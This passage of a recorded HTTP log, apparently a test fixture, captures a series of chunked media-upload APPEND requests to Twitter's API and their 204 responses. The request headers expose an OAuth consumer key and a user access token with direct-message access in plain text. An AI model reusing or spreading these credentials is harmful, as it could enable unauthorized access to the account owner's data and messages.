oauth_signature_method=\"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11fq8nrF%2BGcl6%2Bc0e1%2FrURy%2BWuV%2BtSQAEiFJQoEgoEgoFQsJQsRAqGQ0FQoEguFBOEgqFAmEQqIUvE8%2BOPnxqVUqTLudd5eea51PGmkqHQc%2BO%2Fnyfvvzt56Novr09J11svqdU%2BJfXtHY%2FuL1e0vo%2FlXTzMwQ%2BIV6Of6vOrrKCI8umb4%2FQQQx61rQHjnLU4tTq%2BqemgyQcIivcUN2WLzq%2F%2Fzud7AN7bOc7JAD47jqcLxcdcgHpz4jw%2FLJNChT5xHddxuWTUnHD3iEXAzIP1vECRuTp0A4ABIhSQZBQKhYqBYMBYKhkMBURBUKCgJBUKBUJhULBUQnHcrPl7cysnHfxmfXvV55zd3zly4ur0OKcj1t%2FOiuN%2Fn65vJUOiznI3NPsL4%2Fm2DWjBuukd8eVr4no%3D&media_id=1254206535166763008&segment_index=7" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:58 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:58 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_zbsqJTPufqcUeLFfOaptlQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111821321190; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "16f94ee08dd5ae5a6fb984f7430bb598", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19945", - "x-rate-limit-reset": "1587864356", - "x-response-time": "35", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "009b24530090c340", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"TX0HvAttnyzrHY%2BkF6qYAc5Bxlw%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=h4Q7PBkOg6O71%2FVqOgfRa17vA5vtVaDj31F%2FS9VcYnJCeAPQuxnSglhs7k8L9yKyd%2FFMzx8fjuRUCX43aprLg6IL%2F2%2FVvdxzGC1wYgTBal%2FeIdV8LXwvwlXqPQBxkKJWUkTXgveZqss%2FA6sMSeAKr3cUq22A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206535166763008&segment_index=8" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:58 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:58 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_FelJyAlU56dp0V7GtBRVeA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111869441376; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "cd7c339ccf2dcd883bf193cf30b0dad2", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19944", - "x-rate-limit-reset": "1587864356", - "x-response-time": "30", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "002a6a06000236c5", - "x-tsa-request-body-time": "95", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"IXMSCyGS6DMDMyQmy0M4YAgrNr4%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=axfeT3%2F%2B6icn563VdQqhT8StdrKrueief%2F2hbVayrier9a77Xu%2FpXr1fpe1epHWu1caJpif2cy%2BzJCnifNPg%2BVIHkVQg1%2FpPfFfyffniekvKRpo%2BdlEWz6tCW%2FWsUt3ilFbFbk5bonpe6u6v1fvu1l0hTjuCQ%2BEexb8NfDYIYmSfcfQlrtEa4o%2F9Zd9rX6vNfeIWr6WvVyvV6tWP1lJCDIZLvrRe%2FQt%2B7gxqNV3dWvdX6tXrF3Xr1%2Bpk%2FXKf%2F1YvaGBCckCwrYTBH5cdJB7WmCrSeaMU4jLw%2FVZfQ9jV8lN2vfr2KxWUctpPV5MK%2BiLve%2BYmPELe4RFLBQy70Z39esn9WpPaH5cq9PutSeuHf6ykter1e%2FU3S5Hk9yu%2FBQKrWbMhcRjDh1DOQXfgPPxv%2FLKlVePtTdqdjvcnu1%2BJgIFdGt%2Fvq00qv1YyfPrjMZQpyoWNaD46FlG9xdQrNFBJEJhZaG08ogJs%2FfoX2i6k9ek6kJ9%2F%2B3%2F1eS5PXL9Wonv7uHOejrow3w%2B9yFDBuNeYRLwd4GLbwgcqZ%2B98N354N%2BM%2FfEH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X16uI%2BXvv5Vaulf7WKvXr9XO1Z%2BrlT1d%2BpLteq1yq69al9a%2Blt0q19LXz%2Frl%2Buz21MmEtSoXen%2FCAgxuO44SQ03L8VYmZDjSD8%2Ffr8zjhXskiaxFQaZFW4TGNQtlpNRcEhC0HB3%2Fu%2BEtDXrAg65FYq1r9dYpcV4rfxXa1%2BrF2tScQtfrX0tXf612tbQWwmL8eJDgzBI9MgUXUzN9Imp1340oLN0TLP2DqvcuWNYs%2BCCyjTPy4YjuONRu5Yy%2FkNGry%2Bcao2FyAg1seOsgWI7qC2YkwlkqEBGQ26T9Bg8%2B16SsYP9E0Pfl%2B8OsFKDHwGKtk7OQPCTeM5QfFG1HuT8Y%2BtcpYes7hwaLe8HYkSxhlzv%2BLd4eQJ0c%2BcWQFyrbWmcCi%2FbT%2B1510yPX%2FxP0tVfa3dS2Mc7%2BoJcm%2FrV16sfrF3LdWrWT17y%2F0Kc%2BgQkWdz9XNYVQhAkkwGUR%2BPr4gaUXUUxdXF1Jvi%2B4uLpB0jGUNVk1NONsVfCsKWlFxdnLJnxcXxcvUXUaUMVeJqCaJHHenukPUEN94Oq6W2%2F39yctSoTXdctWpE%2FVupayfn%2FJ%2FfzdX5hi1%2FJP%2FrGCIZZ3f5Wcik0xn%2Br4m%2Blu0LqvW6Tie%2B%2Bnl%2Btn71uU%3D&media_id=1254206535166763008&segment_index=9" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:59 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:59 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_FKN6UNo2azwUZ7xsIpM3Mw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111917305368; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "be6cc1c217b6c183817310b2812dbb0a", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19943", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00bf3b38007b18c3", - "x-tsa-request-body-time": "97", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"xZbNPBG2NUIdTAml7fKlcdv1v1I%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=hQZBMkeyRflrfqmQfzKZnF3lgu0GW1SpAMgO3TRLL4VfZAYBTpMWB%2BHebIj2QleGw2PwqepJzLkeWqen324rQsNobXRfy8vVwk89%2FEyjl9%2BtS1drF6qnb83jK2DE%2FjhHe8QsFggpEr9QcHmij0Nm9sOcHv1AudgMeyfX1bEM9qKgmfc3oI5KVtS%2BvR1q4udTCM7xDl45UN7m%2BBKLzebslDeletBV2X87K0t5f0%2FD8eKyLAGjNT6UKepmjXJ%2BFjXJ3drwf0%2FtBjloWmD3g74yGK%2Fie9RpI0QbVLqDtTP6WEI0vhp0nk1rQqI%2Bz5%2FTEy4OsuDVCRjA1utP8KUklMrmC3FdCvFc9oTqrnuvVsJdei9S71aDhklGREkJsgrwJ945y%2BXyd2g53RO%2F0mjDqg4XviOouMLfk93u%2FsExzEQ%2FPr1pFw965fX1Cph3SBdf5f6Pi%2BWr779wprVRDXFkoEOdaLRgv0CH2iWX%2BvBbxLBA7vMYbHlZ%2Bvjnsy%2BwgJ86TlwQcfhl5EaYSZyDNWMNX%2FmOk5PNbvBNFQbBj%2FFQSvD9tS4Nzrk9H67W3uvd161%2BtelWq1cHusG0F4WKTVZfkRoUGwSEEDhcEg8tmRVJ9vsjQL%2B2ceLq6rjhjw2mUBSfRUddByRRYFW3CJi%2FXSLi8ZL3wvXD%2BlaXnRrw4NYYUsRGpPaS%2Bb%2Fz9rocN9ORnxovGxYFyuCgK52g7dQ28DUUpXr6JYRg%2FyVfqwYJxG6k%2BVqvKBDJvdqo3dISeqdq7Ck%2B1rsKl3dJDdDX4zcKZp%2FBISVhGBXY0V2z1CEGciRPFNen%2F4JLx7%2FQGQ0IDJ9ObnhPmJmoQMFIfQd6kRSDgkEd5BcX3DHEowQzPluJlJLgheuahY6idDbglKNsnz6lyQlBtWgra%2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73TQkbJd5AF6%2BQXJXuvKRHjvl4VPjZp7s36Ngg2Q2%2Fr7%2FVuw4SrVfRGYq%2FBLBHaQ%2Bk7%2Bw072H4Uiykwwy8kN7nYp4ZMRWUHh8%2BXEn32%2FDNUXbbpvGFfSQMmVVviJ4ZYbTXwrxloRss7r%2Fa%2BkGF1%2Fr5vDf4jFL6aLF%2BrV1UavVzVfwh50LELVdV4JV485COK3e%2FBiNCk%3D&media_id=1254206535166763008&segment_index=10" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:59 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:59 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_T6e9\/VYEW96rnCdyNbk7YQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111962776287; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "0187010dd5d3df9e9bc03ee15bc465e2", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19942", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "0099143e00f947ca", - "x-tsa-request-body-time": "63", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"IktNHEgIFCryrZKzCbTh4Ol%2BKiE%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=FYo3uK%2Br9xWRf4YgXWycYqms9x3LD4%2Fc%2FvsEZXfI1XXirxRisHvljLy3eEwQ5bu9ez40XJaa83RuvMXjUqtcwjjXtr37KtZb77WCeBN%2BGtdet0KIR37wLg3IYViv%2BE57nJD%2FZTTQRQgDqz18YEg9R%2Fm0AiGKhdlhzh%2F%2By6if%2Br35tpjFHRQyL5OD3j1eP5uq%2FDdVoNfbPzDP8EeMe7%2Fms6br1avRWJZe5V%2FwKj5PP%2F3qI%2BBHBACE72rfoVX6Jh%2Biz936EvXnMrcPqV2HcsGXwQi%2FwqI3Zjr4vVX2j07f%2FFC7jTXVBAjcvl%2F3wQEy%2Bjga2sAduyAxPuagISORyo0MmE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U%2BXty%2BKEBgJ6QgRFokRvH9O2eX8usEIkmDWvc%2FEGPnsyLfoe%2FxOO3eul63nm9y32rq1u7u7rD%2Fxnd69swqXwcDh4WDI9%2FcQOWl3jx4VDJd1wAEWFJBMFBMKAsOAsGhMaAsKAoEwoNgoJQkMwiIwt7VO%2FHUynXrW%2BqRUaYmVWpEq%2BBtHClr6J%2Bm2D4bd%2FOt7%2BUTedcY7sHkU%2Bb0odIY7deuL0wNnmrab9SdVXvuS6N9vGm0K%2FhiMgGC6I8OyUI7hkkWfHiF%2BLkvn%2B%2BRkpFLB7xnKbCNSWjl2eZo710j%2F6f1j1kn7bjydUP7j6jib91%2BVq5z1E70D5TgQsEL47DVzIqimWT1Wa7xwPzqvLcIWdXZ9lw16u6%2FdCAsZSsVWVMyGdgC%2BLG0EHJhZOinvssKy9d6xrVF44340W85iDgEeFJgoRgoFjUJgwFhoGBMFwsFQoEgqFBKIgmEgiRmLrnv68THXv1vVS8JLxNxJdQ4CbtHfttO8mLj9e3dN0%2FNW9D3ifs%2FmXl41GpCA4ftr7KRjz5O7zYqMpS6r8Ou%2B%2BMyoy19xpF9k1Z2LywIHcxUaQpa1LANu%2F6KAX8G3%2FS2Y7GKNAQJRJJ6OxF%2FPDPBeMzBJy7M4r9BnvNki2rTWJhF9R9uUzwjfV3ynzsqnE%2BACPkVGLL%2FFbxYC%2Bzr9dsdHCHr536Yqhpa1FZ1pQ%2B9P2JWjhm80utCwy0pepbQ3bbIz1MOqtIwLfDUDgAEiFJA%3D&media_id=1254206535166763008&segment_index=11" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:00 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:00 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_OlVOT3PpnsDXW8+jRQnJcA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112011814142; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "a5803d45371bc562d610913ce19e1c0a", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19941", - "x-rate-limit-reset": "1587864356", - "x-response-time": "35", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00b2df0d0046bd40", - "x-tsa-request-body-time": "103", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"quxPlqWvHj7qmOL4DRwvu6AuXFM%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=TBQRhYsBYNCgTEgLBgLBQiiYJhQJDEhO%2BN5uZeccvPrqoqYuCqXJlyuhyX%2FYnHXesf8dG2r2p5a%2B27v4s4PZ1ctHGqJ6E7L38WYMuiR8XNbBJrAdVWrU0lpdo30fAQgGT3YtOMMYU%2B68%2FiqVwvZ0au80YsziUONFAispeGlbfh%2BltXsMW7TxTz8b%2F6%2B%2BEFT4cEdTN13a9XmViDVPqM9fJdsdtHHfpvHwqWV79RoQvRWkhB%2BhL%2FUPokvjzRT06H%2BKXNyvSlIV0LSg1osrGkdyDHT8qxPwvSmfpn6iVpL13U0fKYOAARwUkGYUGwXCwoCwYDIWDAWQgVCgWCoUEYVCJ3eszJvftnfHi9ZcUvJYmZdolTga1%2FGfsf4n%2B%2F6t8iv4vF7uVGqe40uL%2BMR5CF%2BT5WP4aMMFDw%2BkzvqZvDiyfFn5mmZ81lkQDs%2FKTAN7yTe%2F5esKg2XSYShJIAV7fhPNMRAh275KPd%2FoRbz%2BhdYOjHcK%2FytGJvAhChgKCC7lO7itR3zN3NeXvl34Tse3Y26kALr7eh%2F5FKvjtuHyfhvmJQuZZ%2FeiVxDJPVjItG7xa0kUd46YtAfnCkZWM13N2VRlpxg4ARYUkCoUIx6CwYCxFCwUCwkKoUCoiCIyCInO5rvOZVZ166zjLq6xcBzeoJOBp31tO8w4xsycX9XS7e2L8c93h7PgV%2F6zR3rEr%2FKXNXRO%2FM%2FmLH3p2yJYRtX6N3HimVAHR1eWbo9l15Kfx2j%2FWPz9Y1HypObcPGatgtkCQn0NHynmPt5nEv2%2FhJD3Hn6%2BpU8Ckaev9E0disd0nhPJyzcC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65OUcOXyBNlYRNCgg3%2Fh4JW7SAXnKjECB66TBgatAdj956oJQUA6fzGszKKGXIy29p13bKAoMFt0orDEK5DNfrz%2BhhHNJHsaL%2B2djpZ5B5UUjJDF81WW7HwVEsOT3K7VkH2DQYAhlJMPvk7jpGRAXGK1B4JTtiMN1fc5xIYoxNBySqfgMuVq8oevoEMEST4TVpgjG4cy7cd3wndyUk2%2F5DbpJ%2BkNvvCRxYW0ZjNfhI7kUstMON0rEBfJ6%2FpBn7IZH1Qalw9Aggt%2FbgHXl8mtMEHBrn8sWEuOD4MaX1lmUxrSaGpuv0ELCTq2%2BiYLsN%2Bk%2Fa%2FC5cVu6sgk2zM5FbrS%2F%2B%2FwX7vk%3D&media_id=1254206535166763008&segment_index=12" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:00 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:00 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_gurFzRo3I98bH5Cajp\/tXA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112063432381; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "80a14c7b56c780c8df4b9b9f7ee42b45", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19940", - "x-rate-limit-reset": "1587864356", - "x-response-time": "32", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00f5c4d300757685", - "x-tsa-request-body-time": "94", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Qa0fJiTl%2FtQd%2F9THMPl2%2FuAAAwM%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=OsNU0m5FhTbTMLsyqP56m7L%2BmsFtjrTVcXWFyFDMy7ixysOsosZI19c%2BX9V0LjOoE5mypI%2BBKdxp59db4UihQisL5ESBuLEPW1dFW5fYi9oYQB6uTNLo9rRyILD6cKvoNM45CplTCIo0%2Bf6uvd6M4ye4N8Xn2CO1iJQaVZMebgiv3IIXr2S%2BICpBrEFQwpcHci2W9S43AduMMejXWwz51mOijKugpr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cTnVHpBwzVupn35EBYZkr%2BTy%2BylDZXd3FuG0YQXs%2FrjvI505PYpdcO8uWyp1HBDd2Pxs31fuzXoRTQvNJ236ho%2BZmOoFuzf8%2Brw8bKQT4Nx7MexjdLDs0xWqsCMVIppZn1YyUrW8n542iggjqvQ%2BdJaT3y%2FDjCEcO%2B0wWVLt6xvAGPiP1cXwtehv4zfGBimrDe1KiJ5HyJcJW4UMFSmHkYJTkPILZBX9RNEr9IP%2BAdKhfFRl%2BpLCK86RhcNPxsvaw%2FL8bG%2FMxr44h%2F%2Fnpl%2FGX9VlDdc1V%2FDUVq1MTPT9%2FLTcWfx%2Ffkomfaur8nk9dvX8PwxJt2hgJg%2BJ4sUmB8WVnLsEJyROCWZEpLIP9uIm4Uh5ejXqNKX4wMVyAgStD9wIVEtcVqsdjQwGoHTAGrBARoXA9DWPVcmVwl22BdK%2Bsn3L2yhuODR4BiHF4eWZ%2BCucxD6ZswXDiQj2Ps%2BaOX7%2Bhppv8O5Ao3M0cL5wf%2FB%2FwWdwKdMZLsyVZjH9Eqcn0Cnd4jHG6uEgpyIsgw6PXfYXGPUZ1LjdLQqZrPCd8kJISe2L4tho4qyenK5FswyjOnnV9MMx%2FKF1Fv07t%2FupQYCbtoCKDAHqR9